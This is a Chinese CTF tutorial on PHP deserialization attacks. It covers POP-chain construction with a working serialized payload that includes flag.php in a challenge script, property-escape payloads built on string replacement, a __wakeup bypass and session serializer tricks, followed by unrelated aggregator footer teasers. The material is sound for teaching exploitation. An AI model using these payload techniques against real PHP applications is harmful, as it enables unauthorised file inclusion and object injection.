php反序列化(2)

一.pop链

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫“面向属性编程”,即pop(property oriented programming)。

pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种playload.

二.poc编写

poc (proof of concept)中文翻译作概念验证。在安全界可以理解成漏洞验证程序。poc是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。编写一段不完整的程序,获取所需的序列化字符串。

来看一下一道反序列化例题

<?phpclass modifier{private $var;                       //注意私有属性只能在里面赋值。public function append($value){    //1include($value);              //include存在文件包含点echo $flag;}public function __invoke(){$this->append($this->var);  //将var赋值包含,flag.php。但是要触发invoke才行。触发invoke需要将对象当做函数调用}}class show{public $source;public $str;public function __tostring(){return $this->str->source; //3 可以发现这里有两次调用,可以同过实例化str为test对象,而test中不存在source}                              //这里又需要tostring,要把对象当字符串,找echo(输出字符串)public function __wakeup(){echo $this->source;     //4 将source实例化成show可以出发tostring,这里又要触发wakeup,反序列化前触发。}
}class test{public $p;public function __construct(){$this->p=array();}public function __get($get){$function = $this->p;return $function();        //2 发现这里有函数调用,所以将$function实例化成对象成modifier,然而这里需要                           //}                              //这里有需要触发get,get需要调用不存在的成员属性(找可以操作的调用)
}if(isset($_GRT['pop'])){unserialize($_GET['pop']);
}
?>

这里我在旁边做了注释,其实就是思路。一般pop链题目比较绕,可以做一些记号让思路更清晰一点。

以上过程明白后就需要构造poc了。获得序列化的字符串,当然可以手敲poc,但容易错且繁杂。

这里我选择直接输出出来。

$mod = new modifier();
$test = new test();
$show = new show();
$test -> p=$mod;
$show ->str=$test;
$show ->source=$show;
echo serialize($show); //获得序列化字符串

注意:这里需要先给modifier类中var赋值 private $var = 'flag.php' ;(私有属性只能在类里面赋值,无法外部引用赋值)

最后传参构造payload:    url(题目路径)?pop=O:4:"show":2:{s:6:"source";r:1;s:3:"str";O:4:"test":1:{s:1:"p";O:8:"modifier":1:{s:13:"%00modifier%00var";s:8:"flag.php";}}}

如果这里不知道为什么加%00请看php反序列化(1)-CSDN博客

上传成功,得到flag. 

正常情况下都是反推过程。

三. 反序列化逃逸

(1)反序列化分隔符

反序列化以 ;}结束,后面的字符串不影响正常的反序列化。

(2)逃逸基础

一般在数据先经过一次serialize再经过unserialize,在这个中间反序列的字符串变多或者变少的时候有可能存在反序列化属性逃逸。

举个例子:

(1)

<?phpclass keep{var $a = "hr";}echo serialize(new keep());$b = 'O:4:"keep":2:{s:1:"a";s:2:"hr";s:1:"b";s:3:"jzy";}';var_dump(unserialize($b));
?>

可见反序列化字符串可控。

注意:成员属性不对应和数字个数不对应的话都是不能进行反序列化的。

(2) 

<?phpclass keep{var $a = "hr";var $c = "beauty";}echo serialize(new keep());$b = 'O:4:"keep":2:{s:1:"a";s:2:"hr";s:1:"b";s:3:"jzy";}';var_dump(unserialize($b));
?>

a,b是从反序列化中获取的。c是从类中获取的。

(3) 

<?phpclass keep{var $a = "hr";var $c = "beauty";}echo serialize(new keep());$b = 'O:4:"keep":2:{s:1:"a";s:3:"hhr";s:1:"b";s:3:"jzy";}';var_dump(unserialize($b));?>

 a的属性值与反序列化字符串一致。

(4) 格式(字符个数要匹配相依值,几个类就几个,多长就多长)

满足上述的条件后面加的东西并不会影响反序列化,注意长度,也就是前面都没有问题的情况下;}才是结束符。

<?phpclass A{public $v1 = 'a';  }echo serialize(new A());//O:1:"A":1:{s:2:"v1";s:1:"a";}$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}' ;//bool(false)$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";N;}';//正常执行$b = 'O:1:"A":2:{s:22:"v1";s:1:"a";s:2:"v2";N;}';//bool(false)var_dump(unserialize($b));
??
 (3)属性逃逸

一般在数据先经过一次serialize再经过unserialize,在这个中间进行反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸。

------- 减少

<?phpclass A{public $v1 = "nihaosystem()";public $v2 = "123";
}
$data = serialize(new A());
echo $data;
//O:1:"A":2:{s:2:"v1";s:13:"nihaosystem()";s:2:"v2";s:3:"123";}
$data = str_replace("system()","",$data);
echo $data;
//O:1:"A":2:{s:2:"v1";s:13:"nihao";s:2:"v2";s:3:"123";}
?>

现在 O:1:"A":2:{s:2:"v1";s:13:"nihao";s:2:"v2";s:3:"123";}  这个字符串已经不能成功反序列化了(后面格式错误),红色部分已经被吃了(当做了字符串的一部分)。

<?phpclass A{public $v1 = "nihaosystem()";public $v2 = "123";
}$data = serialize(new A());
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>

以这段代码为例,逃逸一个属性v3值为drama.

先获取了原序列化字符串

"O:1:"A":2:{s:2:"v1";s:13:"nihaosystem()";s:2:"v2";s:3:"123";}" 

构造poc 

//目标 $v3 = "drama";  格式: s:2:"v3";s:5:"drama"; //21个
//一个system()吞8个   ";s:2:"v2";s:3:"123  //19个
"O:1:"A":2:{s:2:"v1";s:13:"nihaosystem()";s:2:"v2";s:3:"123";}"
//payload ";s:2:"v2";s:24:"123 20个
//4个system(),要吞32个 ,最终一共要吞 20个 如果吞多了就在123那补就行,少了就加system(),然后补就行 这里补32-20=12
"O:1:"A":2:{s:2:"v1";s:37:"nihaosystem()system()system()system()";s:2:"v2";s:36:"123123123123123";s:2:"v3";s:5:"drama";}"

成功实现

//"O:1:"A":2:{s:2:"v1";s:37:"nihaosystem()system()system()system()";s:2:"v2";s:36:"123123123123123";s:2:"v3";s:5:"drama";}"
class A{//public $v1 = "nihaosystem()";//public $v2 = "123";public $v1 = "nihaosystem()system()system()system()";public $v2 = '123123123123123";s:2:"v3";s:5:"drama';
}$data = serialize(new A());
var_dump($data);
$data = str_replace("system()","",$data);
var_dump(unserialize($data));

结果

v1 v3从反序列化中来(poc构造语句)v2从类中来

 反序列化字符串逃逸:多逃逸出一个成员属性

第一个字符串减少,吃掉有效代码,在第二个字符串构造代码。

------- 增多

反序列化字符串增多逃逸:构造出一个逃逸成员属性

第一个字符串增多,吐出多余代码,把多余代码构造成逃逸的成员属性。

<?phpclass A{public $v1 = 'ls';public $v2 = '123';
}
$data = serialize(new A());
echo $data;
$data = str_replace("ls","pwd",$data);
echo $data;
var_dump(unserialize($data))
?>
O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

当然是反序列化不出来的,替换过程格使发生错误。

假设想逃逸一个 $v3="zhiyuan";

构造poc

//目标$v3 = "zhiyuan";  格式:s:2:"v3";s:7:"zhiyuan";} 需要;}来终止语句 24个
//O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
//O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}//可以知道一次替换吐一个
//";s:2:"v3";s:7:"zhiyuan";} 这些就是要吐出来的 26个  26*2+26=78
O:1:"A":2:{s:2:"v1";s:78:"lslslslslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:7:"zhiyuan";}";s:2:"v2";s:3:"123";}

赋值执行 

//属性逃逸 -增多
class A{//public $v1 = 'ls';//public $v2 = '123';public $v1 = 'lslslslslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:7:"zhiyuan";}';public $v2 = '123';
}
$data = serialize(new A());
echo $data;
$data = str_replace("ls","pwd",$data);
echo $data;
var_dump(unserialize($data));

结果

 这些数据名与我最近的娱乐活动有关,不知道有没有同道中人,嘿嘿。

wakeup魔术方法绕过(当然还有其他的绕过方式)

版本:(php5<5.6.25)(php7<7.0.10)

如果存在wakeup魔术方法,调用unserialize()之前先调用__wakeup,但是系列化字符串中对象属性个数的值大于真实的属性个数时,会跳过wakeup()的执行。

如果遇到正则表达式过滤数字可考虑用 + 来连接如过滤o后面的数字

可以: o:+5:"nihao";

(4)引用
<?phpinclude("flag.php");
class haha{var $enter;var $secret;
}
if(isset($_GET['pass'])){$pass = $_GET['pass'];$pass = str_replace('*','\*',$pass);
}
$over = unserialize($pass);
if($over){$o->secret ="*";if($over->secret === $o->enter)echo "congratulation!".$flag;elseecho "oh no...";
}
else echo "are you trolling?";
?>

向这种就可以 :

class haha{

    var $enter;

    var $secret;

}

$a = new haha();

$a->enter =&$a->secret;

类似于c语言中的取地址,但c语言中的指针删了内存也删了,php中的引用删了内存不会

四.session反序列化漏洞

 (1)

如:haha|s:6:"123456";

 (2)

(3)php_binary:键名的长度对应的ascll字符+键名+经过serialize()函数序列化处理的值

例子: 

 两个页面,一个衣php_serialize格式保存,一个以php格式读取。

ps.Success is not final, failure is not fatal. It is the courage to continue that counts. 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/615245.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Springboot项目从Nacos读取MySQL数据库配置错误:Public Key Retrieval is not allowed

&#x1f339;作者主页&#xff1a;青花锁 &#x1f339;简介&#xff1a;Java领域优质创作者&#x1f3c6;、Java微服务架构公号作者&#x1f604; &#x1f339;简历模板、学习资料、面试题库、技术互助 &#x1f339;文末获取联系方式 &#x1f4dd; 往期热门专栏回顾 专栏…

明明设置数字居中对齐,为什么excel的数字却不居中?

有时候在excel里&#xff0c;选中数据&#xff0c;设置对齐方式 左右居中&#xff0c;然而&#xff0c;数字却怎么都不居中&#xff0c;为什么呢&#xff1f; 1.按快捷键Ctrl1&#xff0c;打开单元格自定义格式对话框&#xff0c;看到是初始界面是在数字的会计专用&#xff0c;…

RHCE实验2-DNS服务正反向解析

实验开始 一、DNS正向解析 注&#xff1a; server端&#xff1a;192.168.32.147 node端&#xff1a;192.168.32.141 网址&#xff1a;www.openlab.com 1、server端和node端都关闭安全软件&#xff08;以server端为例&#xff09; [rootserver ~]# setenforce 0 [rootser…

成都百洲文化传媒有限公司电商领域的新锐力量

在电商服务领域&#xff0c;成都百洲文化传媒有限公司凭借其专业的服务理念和创新的策略&#xff0c;正逐渐成为行业内的翘楚。这家公司不仅拥有资深的电商团队&#xff0c;还以其精准的市场定位和高效的服务模式&#xff0c;赢得了众多客户的信赖和好评。 一、专业团队&#…

Windows系统本地部署Jupyter Notebook并实现公网访问编辑笔记

文章目录 1.前言2.Jupyter Notebook的安装2.1 Jupyter Notebook下载安装2.2 Jupyter Notebook的配置2.3 Cpolar下载安装 3.Cpolar端口设置3.1 Cpolar云端设置3.2.Cpolar本地设置 4.公网访问测试5.结语 1.前言 在数据分析工作中&#xff0c;使用最多的无疑就是各种函数、图表、…

(2)自动接收QQ文件-QQ自动化(.Net)

c整理 | 小耕家的喵大仙 出品 | CSDN&#xff08;ID&#xff1a;lichao19897314&#xff09; Q Q | 978124155 关于项目背景和微信自动化学习介绍 因为前面写了很多关于微信自动化的文章&#xff0c;网上有一位朋友联系我说他是做广告行业的&#xff0c;有时候除了微信对接客…

使用 Java 原生或 Hutool 工具包编写非对称加解密的工具类

1、什么是非对称加密 使用一对&#xff08;2个&#xff09;密钥&#xff1a;一个用于加密信息&#xff0c;另一个则用于解密信息。有“公钥&#xff08;Public Key&#xff09;”和“私钥&#xff08;Private Key&#xff09;”之分。 非对称加密的“公钥”和“私钥”是成对出现…

c++24.4.13-const修饰指针

1、const修饰指针-常量指针 2、const修饰常量-指针常量 3、const既修饰指针又修饰常量 示例

maven之pom中的build标签

1、build标签分类 1.1、全局配置&#xff08;project build&#xff09; 针对整个项目的所有情况都有效。 <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation"htt…

什么?你设计接口什么都不考虑?

如果让你设计一个接口&#xff0c;你会考虑哪些问题&#xff1f; 1.接口参数校验 接口的入参和返回值都需要进行校验。 入参是否不能为空&#xff0c;入参的长度限制是多少&#xff0c;入参的格式限制&#xff0c;如邮箱格式限制 返回值是否为空&#xff0c;如果为空的时候是…

R语言数据可视化:基本绘图系统

目录 plot函数 par函数 hist函数 boxplot函数 plot函数应用实战 全局参数 R语言中有三大绘图系统包括基本绘图系统&#xff0c;Lattice绘图系统&#xff0c;ggplot2绘图系统 基本绘图系统 在R语言中&#xff0c;以下函数通常用于创建和定制图形&#xff1a; plot 函数…

僵尸进程和孤儿进程

目录 引言僵尸进程僵尸进程的状态僵尸进程周边知识 孤儿进程孤儿进程的状态 进程中的其他状态①.R---表示进程运行状态。②.S---表示进程的休眠状态。(进程什么都没做)③T 和 t 进程的运行、阻塞和挂起运行阻塞挂起状态&#xff1a; 引言 今天我们来将僵尸进程和孤儿进程以及其…